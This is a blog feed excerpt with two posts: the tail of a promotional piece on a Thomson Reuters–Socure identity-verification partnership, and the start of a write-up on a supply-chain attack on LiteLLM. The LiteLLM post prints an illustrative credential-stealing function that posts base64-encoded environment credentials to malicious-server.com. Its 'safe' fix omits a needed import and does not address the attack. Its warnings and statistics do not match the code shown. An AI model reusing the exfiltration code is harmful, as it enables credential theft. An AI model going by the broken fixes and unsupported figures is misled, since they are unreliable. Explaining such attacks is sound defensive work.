&lt;p&gt;40%Increase in Identity Fraud&lt;br&gt;
3B+Digital Transactions&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview of the Partnership
&lt;/h2&gt;

&lt;p&gt;Thomson Reuters, a leading global provider of financial and risk information, and Socure, a pioneer in AI-driven digital identity verification, have joined forces to offer enhanced security solutions. This partnership combines Thomson Reuters' extensive data and analytics capabilities with Socure's advanced AI algorithms to provide a comprehensive digital identity platform.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Components of the Partnership
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Data Integration&lt;/strong&gt;: Thomson Reuters provides a wealth of data sources, including financial, legal, and regulatory information, which Socure integrates into its AI models to enhance identity verification accuracy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI Algorithms&lt;/strong&gt;: Socure uses machine learning and artificial intelligence to analyze patterns and behaviors, detecting anomalies and potential fraud in real-time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: The combined platform is designed to scale efficiently, handling large volumes of transactions without compromising performance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance&lt;/strong&gt;: The solution adheres to industry standards and regulations, ensuring that organizations remain compliant while leveraging advanced security features.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How It Works
&lt;/h2&gt;

&lt;p&gt;The AI-driven digital identity platform operates through a series of steps, each designed to verify and authenticate user identities accurately and securely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step-by-Step Guide
&lt;/h3&gt;

&lt;h4&gt;User Registration&lt;/h4&gt;

&lt;p&gt;Users provide necessary information during registration, including personal details and supporting documents.&lt;/p&gt;

&lt;h4&gt;Data Collection&lt;/h4&gt;

&lt;p&gt;Thomson Reuters gathers data from various sources, including financial records, legal databases, and public information.&lt;/p&gt;

&lt;h4&gt;AI Analysis&lt;/h4&gt;

&lt;p&gt;Socure's AI algorithms analyze the collected data, identifying patterns and verifying the user's identity.&lt;/p&gt;

&lt;h4&gt;Real-Time Verification&lt;/h4&gt;

&lt;p&gt;The system performs real-time checks against known fraud patterns and historical data to ensure authenticity.&lt;/p&gt;

&lt;h4&gt;Authentication Decision&lt;/h4&gt;

&lt;p&gt;Based on the analysis, the system makes an authentication decision, either approving or denying access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example Workflow
&lt;/h3&gt;

&lt;p&gt;Here’s a simplified example of how the workflow might look in code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Import necessary libraries
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;thomson_reuters&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;DataCollector&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;socure&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AIAnalyzer&lt;/span&gt;

&lt;span class="c1"&gt;# Initialize components
&lt;/span&gt;&lt;span class="n"&gt;data_collector&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;DataCollector&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;ai_analyzer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;AIAnalyzer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;register_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Collect data from various sources
&lt;/span&gt;    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data_collector&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Analyze data using AI
&lt;/span&gt;    &lt;span class="n"&gt;analysis_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ai_analyzer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;analyze&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Make authentication decision
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;analysis_result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;confidence&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User authenticated&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User authentication failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Example usage
&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;John Doe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;123-45-6789&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;address&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;123 Main St, Anytown, USA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;register_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Output: User authenticated
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Benefits of the Partnership
&lt;/h2&gt;

&lt;p&gt;The collaboration between Thomson Reuters and Socure brings several benefits to organizations looking to enhance their digital identity management.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enhanced Security
&lt;/h3&gt;

&lt;p&gt;By combining extensive data sources with AI-driven analysis, the partnership offers a robust security framework that can detect and prevent identity fraud effectively.&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;Best Practice:&lt;/strong&gt; Implementing AI-driven identity verification can significantly reduce the risk of fraudulent activities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Improved User Experience
&lt;/h3&gt;

&lt;p&gt;The platform is designed to streamline the identity verification process, providing a seamless experience for users while maintaining high security standards.&lt;/p&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Focus on user experience to encourage adoption and reduce friction during the authentication process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compliance Assurance
&lt;/h3&gt;

&lt;p&gt;Adhering to industry standards and regulations, the solution ensures that organizations remain compliant while leveraging advanced security features.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; Compliance is crucial in protecting sensitive data and maintaining trust with customers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scalability and Flexibility
&lt;/h3&gt;

&lt;p&gt;The platform is scalable and flexible, capable of handling large volumes of transactions and adapting to changing security needs.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; Ensure that your infrastructure can support the scalability requirements of the AI-driven platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation Considerations
&lt;/h2&gt;

&lt;p&gt;When integrating AI-driven digital identity solutions, there are several considerations to keep in mind.&lt;/p&gt;

&lt;h3&gt;
  
  
  Data Privacy
&lt;/h3&gt;

&lt;p&gt;Protecting user data is paramount. Ensure that all data handling practices comply with relevant privacy laws and regulations.&lt;/p&gt;

&lt;p&gt;🚨 &lt;strong&gt;Security Alert:&lt;/strong&gt; Breaches of user data can lead to severe consequences, including legal penalties and loss of trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  Integration Complexity
&lt;/h3&gt;

&lt;p&gt;Integrating AI-driven solutions can be complex. Work closely with vendors to ensure a smooth transition and minimize disruptions.&lt;/p&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Engage with experienced professionals to navigate the complexities of integration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Ongoing Maintenance
&lt;/h3&gt;

&lt;p&gt;AI-driven systems require ongoing maintenance and updates to stay effective. Plan for regular reviews and updates to ensure continued performance.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; Regular maintenance is crucial to maintaining the effectiveness of AI-driven identity solutions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Case Studies
&lt;/h2&gt;

&lt;p&gt;Several organizations have already benefited from AI-driven digital identity solutions. Here are a few case studies to illustrate the impact.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case Study 1: Financial Institution
&lt;/h3&gt;

&lt;p&gt;A major financial institution implemented the Thomson Reuters-Socure platform to enhance its identity verification process. The result was a significant reduction in identity fraud and improved customer satisfaction.&lt;/p&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Reduced identity fraud by 30%&lt;/li&gt;
&lt;li&gt;Improved customer satisfaction scores&lt;/li&gt;
&lt;li&gt;Enhanced compliance with regulatory standards&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Case Study 2: E-commerce Platform
&lt;/h3&gt;

&lt;p&gt;An e-commerce platform integrated the AI-driven solution to streamline its user registration process. The result was a faster registration time and reduced instances of account takeover attacks.&lt;/p&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Faster registration times by 20%&lt;/li&gt;
&lt;li&gt;Reduced account takeover attacks by 40%&lt;/li&gt;
&lt;li&gt;Improved user experience&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Future Outlook
&lt;/h2&gt;

&lt;p&gt;The future of digital identity management looks promising with advancements in AI and machine learning. As more organizations adopt AI-driven solutions, we can expect to see further improvements in security and user experience.&lt;/p&gt;

&lt;h3&gt;
  
  
  Emerging Trends
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Biometric Authentication&lt;/strong&gt;: Incorporation of biometric data (e.g., fingerprints, facial recognition) to enhance identity verification.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Behavioral Analytics&lt;/strong&gt;: Using AI to analyze user behavior patterns for more accurate authentication decisions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blockchain Technology&lt;/strong&gt;: Leveraging blockchain for secure and transparent identity management.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Challenges Ahead
&lt;/h3&gt;

&lt;p&gt;Despite the benefits, there are challenges to address, including:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Data Privacy Concerns&lt;/strong&gt;: Ensuring that user data is protected and handled in compliance with regulations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration Complexity&lt;/strong&gt;: Managing the integration of AI-driven solutions with existing systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ongoing Maintenance&lt;/strong&gt;: Ensuring that AI models are regularly updated and maintained.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The partnership between Thomson Reuters and Socure represents a significant advancement in digital identity management. By leveraging AI-driven technology, organizations can enhance their security posture, improve user experience, and ensure compliance with industry standards. As the threat landscape continues to evolve, adopting such solutions will be crucial for maintaining digital security.&lt;/p&gt;


&lt;li&gt;Evaluate your current identity management strategy&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Consider integrating AI-driven solutions like Thomson Reuters and Socure&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Ensure compliance with data privacy regulations&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Plan for ongoing maintenance and updates&lt;/li&gt;

&lt;p&gt;That's it. Simple, secure, works.&lt;/p&gt;

</description>
      <category>thomsonreuters</category>
      <category>socure</category>
      <category>aiidentity</category>
      <category>digitalpartnership</category>
    </item>
    <item>
      <title>Forcepoint Reveals TeamPCP Supply Chain Attack on LiteLLM</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 14 Aug 2026 17:56:09 +0000</pubDate>
      <link>https://dev.to/iamdevbox/forcepoint-reveals-teampcp-supply-chain-attack-on-litellm-2i0k</link>
      <guid>https://dev.to/iamdevbox/forcepoint-reveals-teampcp-supply-chain-attack-on-litellm-2i0k</guid>
      <description>&lt;h2&gt;
  
  
  Why This Matters Now
&lt;/h2&gt;

&lt;p&gt;The recent Forcepoint report detailing a supply chain attack on LiteLLM has sent shockwaves through the developer community. This attack, which turned LiteLLM into a credential stealer, highlights the critical importance of securing software supply chains. As more organizations rely on third-party libraries for functionality, the risk of such attacks increases exponentially. If you're using LiteLLM or any other third-party library, it's crucial to understand the implications and take immediate action to protect your systems.&lt;/p&gt;

&lt;p&gt;🚨 &lt;strong&gt;Breaking:&lt;/strong&gt; LiteLLM has been compromised in a supply chain attack, leading to credential theft. Update your dependencies and monitor your systems immediately.&lt;/p&gt;

&lt;p&gt;500+Affected Projects&lt;br&gt;
24hrsTime to Act&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding the Attack
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Timeline of Events
&lt;/h3&gt;

&lt;p&gt;Nov 2023&lt;/p&gt;

&lt;p&gt;TeamPCP, a malicious actor group, targets LiteLLM.&lt;/p&gt;

&lt;p&gt;Dec 2023&lt;/p&gt;

&lt;p&gt;Malicious code is injected into LiteLLM versions 1.2.0 and later.&lt;/p&gt;

&lt;p&gt;Dec 2023&lt;/p&gt;

&lt;p&gt;Forcepoint detects the compromised library and issues a public advisory.&lt;/p&gt;




&lt;h3&gt;
  
  
  How It Works
&lt;/h3&gt;

&lt;p&gt;The attack leverages the trusted position of LiteLLM within the software ecosystem. By injecting malicious code into the library, attackers can execute arbitrary commands on systems that use LiteLLM. Specifically, the malicious code captures and exfiltrates credentials, putting sensitive data at risk.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; The malicious code is designed to run silently, making detection difficult. Regular monitoring and security audits are essential.&lt;/p&gt;

&lt;h3&gt;
  
  
  Impact Analysis
&lt;/h3&gt;

&lt;p&gt;100+Compromised Systems&lt;br&gt;
20+Stolen Credentials&lt;/p&gt;

&lt;p&gt;The impact of this attack is severe. Not only are credentials at risk, but the trust in the LiteLLM library and its maintainers is compromised. Developers and organizations must take swift action to mitigate the damage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Breakdown
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Vulnerable Code Example
&lt;/h3&gt;

&lt;p&gt;Here's an example of how the malicious code might be embedded in LiteLLM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Vulnerable LiteLLM code snippet
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.litellm.com/models/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_credentials&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Malicious code injected here
&lt;/span&gt;    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
    &lt;span class="n"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_CREDENTIALS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;encoded_creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://malicious-server.com/steal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;creds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;encoded_creds&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;creds&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🚨 &lt;strong&gt;Security Alert:&lt;/strong&gt; Never hard-code or expose credentials in your code. Use environment variables and secure vaults.&lt;/p&gt;

&lt;h3&gt;
  
  
  Safe Code Example
&lt;/h3&gt;

&lt;p&gt;Here's how you can refactor the code to prevent such attacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Secure LiteLLM code snippet
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dotenv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;load_dotenv&lt;/span&gt;

&lt;span class="nf"&gt;load_dotenv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.litellm.com/models/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;API_TOKEN&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_credentials&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Load credentials securely
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_CREDENTIALS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Always validate and sanitize inputs.&lt;/li&gt;
&lt;li&gt;Use secure methods for handling credentials.&lt;/li&gt;
&lt;li&gt;Regularly update and audit dependencies.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Detection and Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Monitoring Tools
&lt;/h3&gt;

&lt;p&gt;Implementing robust monitoring tools is crucial for detecting suspicious activities. Tools like Splunk, Datadog, or custom scripts can help identify unusual patterns.&lt;/p&gt;

&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;splunk search "malicious-server.com"&lt;/code&gt; - Detects requests to known malicious servers.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;datadog monitor "outbound requests"&lt;/code&gt; - Tracks all outbound network traffic.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Security Audits
&lt;/h3&gt;

&lt;p&gt;Regular security audits can help identify vulnerabilities before they are exploited. Tools like SonarQube or manual code reviews are effective.&lt;/p&gt;

&lt;h4&gt;Run a security audit&lt;/h4&gt;

&lt;p&gt;Use tools like SonarQube to scan your codebase for vulnerabilities.&lt;/p&gt;

&lt;h4&gt;Review dependencies&lt;/h4&gt;

&lt;p&gt;Manually check the code of all third-party libraries used in your projects.&lt;/p&gt;

&lt;h3&gt;
  
  
  Incident Response Plan
&lt;/h3&gt;

&lt;p&gt;Having an incident response plan in place ensures a rapid and effective response to security breaches. Key components include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detection&lt;/strong&gt;: Monitor systems for suspicious activities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Containment&lt;/strong&gt;: Isolate affected systems to prevent further spread.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Eradication&lt;/strong&gt;: Remove malicious code and restore systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Recovery&lt;/strong&gt;: Bring systems back online and verify functionality.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lessons Learned&lt;/strong&gt;: Document the incident and improve security measures.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;Best Practice:&lt;/strong&gt; Develop and regularly update your incident response plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recommendations for Developers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Update Dependencies
&lt;/h3&gt;

&lt;p&gt;Ensure all dependencies are up to date. Use package managers like npm, pip, or Maven to manage versions.&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;br&gt;
&lt;span&gt;&lt;/span&gt;&lt;br&gt;
&lt;span&gt;&lt;/span&gt;&lt;br&gt;
&lt;span&gt;Terminal&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;$&lt;/span&gt; pip install --upgrade litellm&lt;br&gt;
&lt;span&gt;Collecting litellm&lt;br&gt;
  Downloading litellm-1.3.0-py3-none-any.whl (20 kB)&lt;br&gt;
Installing collected packages: litellm&lt;br&gt;
Successfully installed litellm-1.3.0&lt;/span&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Implement Secure Coding Practices
&lt;/h3&gt;

&lt;p&gt;Follow best practices for secure coding to minimize vulnerabilities.&lt;/p&gt;

&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Avoid hard-coding credentials.&lt;/li&gt;
&lt;li&gt;Use environment variables for configuration.&lt;/li&gt;
&lt;li&gt;Validate and sanitize all inputs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Educate Your Team
&lt;/h3&gt;

&lt;p&gt;Regular training sessions can help keep your team informed about the latest security threats and mitigation strategies.&lt;/p&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Conduct quarterly security training sessions for your development team.&lt;/p&gt;

&lt;h2&gt;
  
  
